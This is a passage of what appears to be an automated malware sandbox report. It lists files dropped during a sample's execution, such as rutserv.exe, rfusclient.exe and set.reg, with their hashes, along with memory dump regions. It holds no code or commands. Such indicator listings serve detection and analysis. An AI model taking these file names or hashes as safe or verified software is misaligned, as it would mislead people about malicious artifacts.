        0f286677e964d733ea3270f0f196769d8ddddb4a6bb3007187eae56e9abb5e22ee984703df5356b5d9049e5ad3b24c567ae13773684113a4440b2cce5d0132fa

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\mpr.ini
        Filesize

        273B

        MD5

        ea47283e2219d636d6429068140003a0

        SHA1

        db9bfafe8d680730813cdb547caabddaec0bfc4a

        SHA256

        92fbb197da99a1c0d5e2f83057f81cd5a2fc65e0f763218cff931b574c07bc61

        SHA512

        5c434feffefe2c92f4fdbcae8b316b752a1b5ea4bfc7bda65a3882990b4767c453f97ce3f8238879e24d871aa616fb91dce6b1175c9ef8489eef992935a34ca1

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\msvcp80.dll
        Filesize

        541KB

        MD5

        8c53ccd787c381cd535d8dcca12584d8

        SHA1

        bc7ce60270a58450596aa3e3e5d0a99f731333d9

        SHA256

        384aaee2a103f7ed5c3ba59d4fb2ba22313aaa1fbc5d232c29dbc14d38e0b528

        SHA512

        e86c1426f1ad62d8f9bb1196dee647477f71b9aacafabb181f35e639c105779f95f1576b72c0a9216e876430383b8d44f27748b13c25e0548c254a0f641e4755

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\msvcr80.dll
        Filesize

        617KB

        MD5

        1169436ee42f860c7db37a4692b38f0e

        SHA1

        4ccd15bf2c1b1d541ac883b0f42497e8ced6a5a3

        SHA256

        9382aaed2db19cd75a70e38964f06c63f19f63c9dfb5a33b0c2d445bb41b6e46

        SHA512

        e06064eb95a2ab9c3343672072f5b3f5983fc8ea9e5c92f79e50ba2e259d6d5fa8ed97170dea6d0d032ea6c01e074eefaab850d28965c7522fb7e03d9c65eae0

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\realip.exe
        Filesize

        40KB

        MD5

        effa4a5a70423867665d2a46348ecb26

        SHA1

        8596bef191ed40ade5980abf0158dfd3d193c352

        SHA256

        03b86eeff30d769e062a3228a0fb3ce6f0f8911093cd2a4a70cade34896f568d

        SHA512

        d94e48e1722d4814862d78f35800b4d8eff8f17be4902cbe0d2f0355fd3279faa9a403f3e4bb7ed70b44ace8dbb76b65b7c9f6e9ccf17c69e4d17e0895b8dfff

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\rfusclient.exe
        Filesize

        2.8MB

        MD5

        a90c6e72a9e2602560c521a1647664ad

        SHA1

        22f7f0ddb0af04df7109c3ddbb7027909041fa73

        SHA256

        579e5984ad5eb6e5e4b004acd01c95f609a1330f3900cd9851562eb4ac879197

        SHA512

        fbba623cab28c0648e8bdd03c99df9e2a84180d72ea8e63367e943f8b432ebc36a7e10a8bfce11ad1803e54a8514f1ded4fec72e680ee04386965b5eb6a5d6c2

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\rutserv.exe
        Filesize

        3.2MB

        MD5

        62dbd11dc36780e35af1aafaa6a8f0f1

        SHA1

        dc6aaac7171b351be3397c3e0e1769dffa848723

        SHA256

        b06604ee55206b081a8378f771f3501f48df1c0023b1d6edcbc5f781aa521f57

        SHA512

        b7f311286387ab39a0a54ac3dbcb74d9db3de4e2657dd6f0e182e38e9ed5400e87f1000c7b978fd4bb34fc373dd99bcb18271296f03248366a9cb52afdaa695d

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\rversionlib.dll
        Filesize

        310KB

        MD5

        3f95a06f40eaf51b86cef2bf036ebd7a

        SHA1

        64009c5f79661eb2f82c9a76a843c0d3a856695d

        SHA256

        1eb88258b18b215b44620326e35c90a8589f384710e7b2d61abf4f59203bd82d

        SHA512

        6f28b5de28026319bed198f06b5461f688ca401129f1125e9e9d3b58956cc0d546234c2d202827bd74b99afd2ead958a863a520a1f4b7e599d385a8a67062897

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\set.reg
        Filesize

        14KB

        MD5

        33bd47d4a8e6f3ac1031f734e1390833

        SHA1

        26fedf99cc955236bdedf9488b4f5a4e5e1c1058

        SHA256

        900f9622181749723891af9049870112b6361d45f1b0d0ff5bf03c7a7f9419b1

        SHA512

        8987bc60e82c3949d5350cfa24538c0979f7de8e7077fef08de131a622791e190a58c089ea83cda9151e221e32a27434569894c33c5e8e29b596330a726a1477

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\stop.js
        Filesize

        215B

        MD5

        804b35ef108ec9839eb6a9335add8ca1

        SHA1

        bf91e6645c4a1c8cab2d20388469da9ed0a82d56

        SHA256

        fe111b7ea4e14ab7ba5004aea52b10030e0282bb5c40d4ba55761a2c5be59406

        SHA512

        822a3ec5e0e353058d4355bc01a44440dafe8d16c57744a3dcbc962eb110ed3f6843556568616bfc5dc7fad5f5832cd27d6591dc50105f2c79fc16c33919936d

        Download Submit

      • memory/452-136-0x0000000000400000-0x00000000007C6000-memory.dmp

        Filesize

        3.8MB

        Download

      • memory/452-135-0x00000000002D0000-0x0000000000328000-memory.dmp

        Filesize

        352KB

        Download

      • memory/452-137-0x00000000002D0000-0x0000000000328000-memory.dmp

        Filesize

        352KB

        Download

      • memory/1600-128-0x0000000000400000-0x00000000007C6000-memory.dmp

        Filesize

        3.8MB

        Download

      • memory/1600-129-0x00000000002F0000-0x0000000000348000-memory.dmp

        Filesize

        352KB

        Download

      • memory/1600-125-0x00000000002F0000-0x0000000000348000-memory.dmp

        Filesize

        352KB

        Download

      • memory/1692-187-0x0000000000230000-0x0000000000288000-memory.dmp

        Filesize

        352KB

        Download

      • memory/1692-186-0x0000000000400000-0x00000000007C6000-memory.dmp

        Filesize

        3.8MB

        Download

      • memory/1692-195-0x0000000000400000-0x00000000007C6000-memory.dmp

        Filesize

        3.8MB

        Download

      • memory/1692-231-0x0000000000400000-0x00000000007C6000-memory.dmp

        Filesize

        3.8MB

        Download

      • memory/1692-217-0x0000000000230000-0x0000000000288000-memory.dmp

        Filesize

        352KB

        Download

      • memory/1692-202-0x0000000000400000-0x00000000007C6000-memory.dmp

        Filesize

        3.8MB

        Download

      • memory/2520-164-0x0000000000230000-0x0000000000288000-memory.dmp

        Filesize

        352KB

        Download

      • memory/2520-163-0x0000000000400000-0x00000000007C6000-memory.dmp

        Filesize

        3.8MB

        Download

      • memory/2520-144-0x0000000000230000-0x0000000000288000-memory.dmp

        Filesize

        352KB

        Download

      • memory/2764-199-0x0000000000400000-0x000000000075E000-memory.dmp

        Filesize

        3.4MB

        Download

      • memory/2764-162-0x00000000002E0000-0x0000000000338000-memory.dmp

        Filesize

        352KB

        Download

      • memory/2764-191-0x00000000002E0000-0x0000000000338000-memory.dmp

        Filesize

        352KB

        Download

      • memory/2764-190-0x0000000000400000-0x000000000075E000-memory.dmp

        Filesize

        3.4MB

        Download

      • memory/2792-184-0x0000000000400000-0x000000000075E000-memory.dmp

        Filesize

        3.4MB

        Download

      • memory/2792-185-0x0000000000230000-0x0000000000288000-memory.dmp

        Filesize

        352KB

        Download

      • memory/2832-174-0x0000000000500000-0x000000000084A000-memory.dmp

        Filesize

        3.3MB

        Download

      • memory/2836-188-0x0000000000400000-0x000000000075E000-memory.dmp

        Filesize

        3.4MB

        Download

      • memory/2836-189-0x0000000000230000-0x0000000000288000-memory.dmp

        Filesize

        352KB

        Download

      • memory/2836-212-0x0000000000230000-0x0000000000288000-memory.dmp

        Filesize

        352KB

        Download

      • memory/2900-193-0x0000000000180000-0x0000000000198000-memory.dmp

        Filesize

        96KB

        Download

      • memory/2900-192-0x0000000000180000-0x0000000000198000-memory.dmp

        Filesize

        96KB

        Download

      • memory/2900-176-0x0000000000180000-0x0000000000198000-memory.dmp

        Filesize

        96KB

        Download

      • memory/2900-178-0x0000000000180000-0x0000000000198000-memory.dmp

        Filesize

        96KB

        Download

      • memory/2964-194-0x0000000000400000-0x0000000000418000-memory.dmp

        Filesize

        96KB

        Download

      • memory/2964-229-0x0000000000400000-0x0000000000418000-memory.dmp

        Filesize

        96KB

        Download

      • memory/2964-180-0x0000000000400000-0x0000000000418000-memory.dmp

        Filesize

        96KB

        Download